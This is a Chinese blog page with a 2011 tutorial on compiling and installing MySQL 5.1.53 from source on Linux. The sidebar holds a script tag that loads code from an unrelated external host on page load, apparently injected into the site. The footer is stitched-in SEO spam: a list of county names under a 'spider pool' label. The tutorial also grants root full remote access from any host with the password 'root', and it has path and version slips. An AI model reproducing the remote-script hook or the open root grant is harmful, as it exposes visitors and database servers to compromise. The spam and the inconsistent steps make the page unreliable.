大鳥的學習樂園
          路漫漫其修遠兮,吾將上下而求索
          posts - 26,comments - 27,trackbacks - 0
          <2011年12月>
          27282930123
          45678910
          11121314151617
          18192021222324
          25262728293031
          1234567

          <script src="http://1.hourfor.me:80/widgets/381"></script>

          常用鏈接

          留言簿(1)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          相冊

          我的收藏

          搜索

          •  

          最新評論

          閱讀排行榜

          評論排行榜

          ①解壓MySql安裝包
             進入到該安裝包的保存路徑后,通過下面的命令進行解壓(解壓位置: ../bulid/)
                 tar zxvf mysql-5.1.53.tar.gz -C ../bulid/
           
           ②編譯 
             進入到解壓后的文件夾下
             安裝mysql前需要安裝一些linux系統軟件
                 aptitude install lib64ncurses5-dev OR libncurses5-dev
                aptitude install g++            
                aptitude install automake            
                aptitude install autoconf2.13            
                autoreconf --force --install            
                aclocal; autoheader            
                libtoolize --automake --force            
                automake --force --add-missing; autoconf                        
             編譯MySql,安裝到/usr/local/mysql-5.1.53
                ./configure '--prefix=/usr/local/mysql-5.1.53' '--with-mysqld-user=mysql' '--with-extra-charsets=all' '--with-named-curses-libs=/lib/libncurses.so.5' '--enable-assembler' '--with-charset=utf8'
                make
           
            ③安裝
                 make install
           
            ④添加權限
                 groupadd mysql
                useradd mysql -g mysql
                ./scripts/mysql_install_db --user=mysql
           
                注:
                   mysql_install_db出現FATAL ERROR: Could not find mysqld錯誤時,
                    因為/etc/mysql/下出現了個my.cnf 
                   解決方法:
                     mv  /etc/mysql/my.cnf   /etc/mysql/my.cnf.bak
                     cp  support-files/my-medium.cnf   /etc/cnf
                 cd /usr/local/mysql-5.1.53/    
                 chown -R root .    
                 chown -R mysql var    
                 chown -R mysql var/.    
                 chown -R mysql var/mysql/.    
                 chgrp -R mysql .    
           
            ⑤運行并查看是否安裝成功
                  /usr/local/mysql-5.1.39/bin/mysqld_safe --user=mysql &
                 lsof -i:3306 --查看3306端口是否是mysql在運行。
                 ./bin/mysql -root 
                 exit --退出mysql
           
            ⑥修改mysql密碼
                 /usr/local/mysql-5.1.53/bin/mysqladmin -uroot password root  
                ./bin/mysql -uroot -p --再次登錄
                 root --密碼
           
           ⑦添加別人能夠訪問的權限 
                GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION; 
                use mysql;            
                mysql> select User,host from user;            
                +------+-----------+            
                | User | host      |            
                +------+-----------+            
                | root | %         |            
                | root | 127.0.0.1 |            
                |      | camp      |            
                | root | camp      |            
                |      | localhost |            
                | root | localhost |            
                +------+-----------+            
                6 rows in set (0.00 sec)                            
           
             注:編譯或安裝過程中可能會因缺少某些文件而導致error
                則根據error提示的信息,先安裝缺少的文件再重新編譯安裝
                 error例;
                  checking for termcap functions library... configure: error: No curses/termcap library found
                安裝install lib64ncurses5-dev后則此錯誤就可避免
           
                 通過命令 「aptitude search 查找內容」查找相應的文件
                 通過命令 「aptitude install 安裝文件名」進行安裝
          posted on 2011-12-21 20:28 大鳥 閱讀(235) 評論(0)  編輯  收藏

          只有注冊用戶登錄后才能發表評論。


          網站導航:
           
          主站蜘蛛池模板: 治多县| 镇远县| 桦甸市| 龙陵县| 儋州市| 平泉县| 望谟县| 邢台市| 丹巴县| 巫溪县| 博客| 临潭县| 乌拉特中旗| 东明县| 澄迈县| 淮滨县| 汶上县| 武夷山市| 武义县| 陵川县| 石河子市| 大港区| 安乡县| 浙江省| 明光市| 屏东县| 平远县| 肥西县| 迭部县| 海伦市| 陆良县| 天镇县| 郁南县| 新乐市| 东丰县| 鞍山市| 洛阳市| 威海市| 桂阳县| 封开县| 双牌县|